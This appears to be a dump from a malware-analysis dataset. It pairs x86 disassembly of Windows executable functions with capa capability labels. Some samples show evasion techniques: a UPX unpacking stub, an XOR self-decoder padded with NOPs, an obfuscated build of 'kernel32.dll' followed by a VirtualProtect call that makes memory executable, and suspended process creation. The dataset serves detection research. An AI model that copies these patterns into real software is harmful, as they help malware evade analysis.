joyce8/EMBER2024-capa huggingface dataset:
Function at 0x465b3c
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004659b3

Function at 0x450cc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x34000]
push edi
or ebp, 0xffffffff
jmp 0x450ce2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x450ce9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450cd8
mov eax, 1
add ebx, ebx
jne 0x450cfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x450d0c
jne 0x450d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450d2b
dec eax
add ebx, ebx
jne 0x450d18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x450cf0
add ebx, ebx
jne 0x450d27
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x450d7d
xor ecx, ecx
sub eax, 3
jb 0x450d43
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x450db2
sar eax, 1
mov ebp, eax
jmp 0x450d4e
add ebx, ebx
jne 0x450d4e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450d1c
inc ecx
add ebx, ebx
jne 0x450d5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450d1c
add ebx, ebx
jne 0x450d69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x450d5e
jne 0x450d7a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x450d5e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x450d9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x450d8e
jmp 0x450cde
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x450d9c
add edi, ecx
jmp 0x450cde
pop esi
mov edi, esi
mov ecx, 0xfd6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x450dba
cmp byte [edi], 0x11
jne 0x450dba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x450dbf
lea edi, [esi + 0x4d000]
mov eax, dword [edi]
or eax, eax
je 0x450e2e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5fb4c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5fb74]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x450dec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5fb7c]
or eax, eax
je 0x450e28
mov dword [ebx], eax
add ebx, 4
jmp 0x450e09
call dword [esi + 0x5fb78]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x450e5f
cmp al, 0xef
ja 0x450e52
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x450e34
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x450e41
mov ebp, dword [esi + 0x5fb80]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x450e93
sub esp, 0xffffff80
jmp 0x4198d0
Function at 0x408ef0
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x4e13c4], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408f42
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x4e13c4], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408fa4
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408ea0
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x4e13c4], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x4c4824], 0xffcf03fc
jne 0x40900d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x4c4824], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x4c4824], eax
sub esi, dword [esp + 0x10]
mov dword [0x4c4828], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x4c482c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00408060
sub dword [esp + 0x18], 1
jne 0x408fa0
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x4090a0
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xd64
cmp dword [0x4e13c4], 0x516
jne 0x4090f8
push 0
lea eax, [esp + 0x568]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x170]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xd6c]
shr eax, 3
test eax, eax
jbe 0x409232
mov ecx, dword [esp + 0xd68]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x4e13c4], 0x29
jne 0x40916a
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x4e13c4], 0xe1b
jne 0x40918e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4e13c4], 0x1c
jne 0x4091df
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0xe4]
push edx
call edi
lea eax, [esp + 0x44]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xd80]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408ef0
cmp dword [0x4e13c4], 0x4fa
jne 0x40921e
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x409135
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd64
ret 0xc
Function at 0x409240
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x4e13c4], 0x37
jne 0x409314
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x4e13c8]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x4c4820]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409380
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x4ba168
mov byte [0x4ba169], al
mov byte [0x4ba16a], 0x72
mov byte [0x4ba170], 0x2e
mov byte [0x4ba171], 0x64
mov byte [0x4ba172], cl
mov byte [0x4ba174], 0
mov byte [0x4ba16c], al
mov byte [0x4ba16d], cl
mov byte [0x4ba16e], 0x33
mov byte [0x4ba16f], 0x32
mov byte [0x4ba173], al
mov byte [0x4ba16b], 0x6e
mov byte [0x4ba168], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x4e13c4]
mov edx, dword [0x4c4820]
mov dword [0x4e0a5c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x4ba176], 0
mov byte [0x4ba16f], 0x50
mov byte [0x4ba16d], 0x61
mov byte [0x4ba168], 0x60
mov byte [0x4ba170], 0x7c
mov byte [0x4ba171], 0x6f
mov byte [0x4ba175], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a5b0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a5d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a5da
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a5f1
mov edx, dword [ebp - 4]
push edx
call fcn.00410660
add esp, 4
or eax, 0xffffffff
jmp 0x40a5f3
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a850
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a86f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a876
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a88d
mov ecx, dword [ebp - 4]
push ecx
call fcn.00410660
add esp, 4
or eax, 0xffffffff
jmp 0x40a88f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414dc0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b9334]
jne 0x414dca
repz ret
jmp fcn.0041aea0
Function at 0x100a5db2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100b7910]
jne 0x100a5dbc
repz ret
jmp fcn.100a6ddc

Function at 0x100a7de7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100a505a
and dword [ebp - 4], 0
cmp dword [0x100b8adc], 0
mov ebx, eax
jne 0x100a7e98
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100a7f49
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100a7f49
push eax
call fcn.100a4fe8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100b8adc], eax
call esi
push eax
call fcn.100a4fe8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100b8ae0], eax
call esi
push eax
call fcn.100a4fe8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100b8ae4], eax
call esi
push eax
call fcn.100a4fe8
pop ecx
mov dword [0x100b8aec], eax
test eax, eax
je 0x100a7e98
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100a4fe8
pop ecx
mov dword [0x100b8ae8], eax
mov eax, dword [0x100b8ae8]
cmp eax, ebx
je 0x100a7ef0
cmp dword [0x100b8aec], ebx
je 0x100a7ef0
push eax
call fcn.100a5063
push dword [0x100b8aec]
mov esi, eax
call fcn.100a5063
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100a7ef0
test edi, edi
je 0x100a7ef0
call esi
test eax, eax
je 0x100a7ee7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100a7ee7
test byte [ebp - 0xc], 1
jne 0x100a7ef0
or dword [ebp + 0x10], 0x200000
jmp 0x100a7f29
mov eax, dword [0x100b8ae0]
cmp eax, ebx
je 0x100a7f29
push eax
call fcn.100a5063
pop ecx
test eax, eax
je 0x100a7f29
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100a7f29
mov eax, dword [0x100b8ae4]
cmp eax, ebx
je 0x100a7f29
push eax
call fcn.100a5063
pop ecx
test eax, eax
je 0x100a7f29
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100b8adc]
call fcn.100a5063
pop ecx
test eax, eax
je 0x100a7f49
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100a7f4b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100a9330
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [fcn.100a9330]
mov dword [ebp - 8], eax
mov dword [0x100b7154], 0x1a54
jmp 0x100a9361
mov al, 1
test al, 1
jne 0x100a9361
jmp 0x100a9370
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
pop ebp
ret
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x100a9381
jmp 0x100a9395
mov dword [ebp - 4], 0
jmp 0x100a9353
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x100a9353
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 8]
cmp dword [ecx + eax], 0x4550
je 0x100a9379
jmp 0x100a9395
mov eax, dword [ebp - 8]
sub eax, 0x1000
and eax, 0xfffff000
mov dword [ebp - 8], eax
mov dword [0x100b7154], 0x144b
jmp 0x100a934b
Function at 0x100a9860
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [0x100b7154], 0x2553
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, dword [0x100b7154]
sub eax, 0x7a0
mov dword [0x100b7158], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xc], eax
mov eax, dword [0x100b7154]
add eax, 0x1aa4
mov dword [0x100b7154], eax
mov dword [ebp - 0x10], 0
jmp 0x100a9946
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
movzx edx, word [eax + ecx*2 - 0x1a]
cmp edx, 0x6c
je 0x100a98ed
jmp 0x100a991a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
movzx eax, word [ecx + eax*2]
cmp eax, 0
je 0x100a9954
jmp 0x100a9959
mov dword [0x100b7154], 0x1487
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x1a], dx
mov ax, word [ebp - 0x1a]
movzx ecx, ax
cmp ecx, 0x6f
je 0x100a997b
jmp 0x100a99f6
mov dword [ebp - 4], 0
jmp 0x100a99fb
jmp 0x100a99f2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0xe]
cmp eax, 0x6c
je 0x100a99e2
jmp 0x100a99eb
cmp dword [ebp - 0x10], 0x104
jl 0x100a98da
jmp 0x100a98b9
jmp 0x100a98b9
mov eax, dword [0x100b7158]
sub eax, 0xee2
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x100b7154], eax
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x100a9946
mov eax, dword [0x100b7154]
sub eax, 0x88f
mov dword [0x100b7154], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x16]
cmp eax, 0x61
jne 0x100a99f4
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x14]
cmp eax, 0x64
jne 0x100a99f2
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
movzx eax, word [ecx + eax*2 - 0x12]
cmp eax, 0x64
jne 0x100a9926
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
movzx eax, word [ecx + eax*2 - 0x10]
cmp eax, 0x6c
je 0x100a992b
jmp 0x100a99ed
mov dword [ebp - 4], 1
jmp 0x100a99fb
jmp 0x100a99ed
jmp 0x100a9926
jmp 0x100a99f4
jmp 0x100a99f6
jmp 0x100a991a
mov eax, dword [ebp - 4]
add esp, 0x24
pop ebp
ret
Function at 0x409790
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409863
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40987c
push ebx
push 0x409888
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409810
mov al, 0x62
call fcn.00409368
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409764
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409819
call fcn.00409764
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40986a
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x40991c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099d0
jmp 0x4099c5
cmp dword [esi + 0x10], 0x1000
jne 0x4099b1
test byte [esi + 0x15], 1
jne 0x4099b1
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409970
cmp eax, 2
je 0x409970
cmp eax, 0x10
je 0x409970
cmp eax, 0x20
jne 0x409985
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409985
mov bl, 1
xor ebp, ebp
jmp 0x409996
mov eax, dword [esi]
add eax, ebp
call fcn.00409914
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409989
test bl, bl
je 0x4099b1
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099d0
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409948
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401c60
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp sym._mark_section_writable

Function at 0x401cc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x406050]
test esi, esi
jle 0x401dad
mov edi, dword [0x406054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401cf4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401da6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401ce0
mov dword [esp], eax
mov ebx, eax
call sym.___mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401dea
lea ebx, [esi + esi*2]
mov esi, dword [0x406054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call sym.__GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x406054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401dca
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401d9f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401d9f
mov eax, dword [esp + 0x20]
add ebx, dword [0x406054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401db4
add dword [0x406050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401cfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
mov eax, dword [0x406054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
Function at 0x4022b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402305
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4022fe
test esi, esi
je 0x4022fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4022e0
mov dword [esp], 0x406408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402520
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x402558
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40254e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40255a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402540
xor eax, eax
pop ebx
pop esi
ret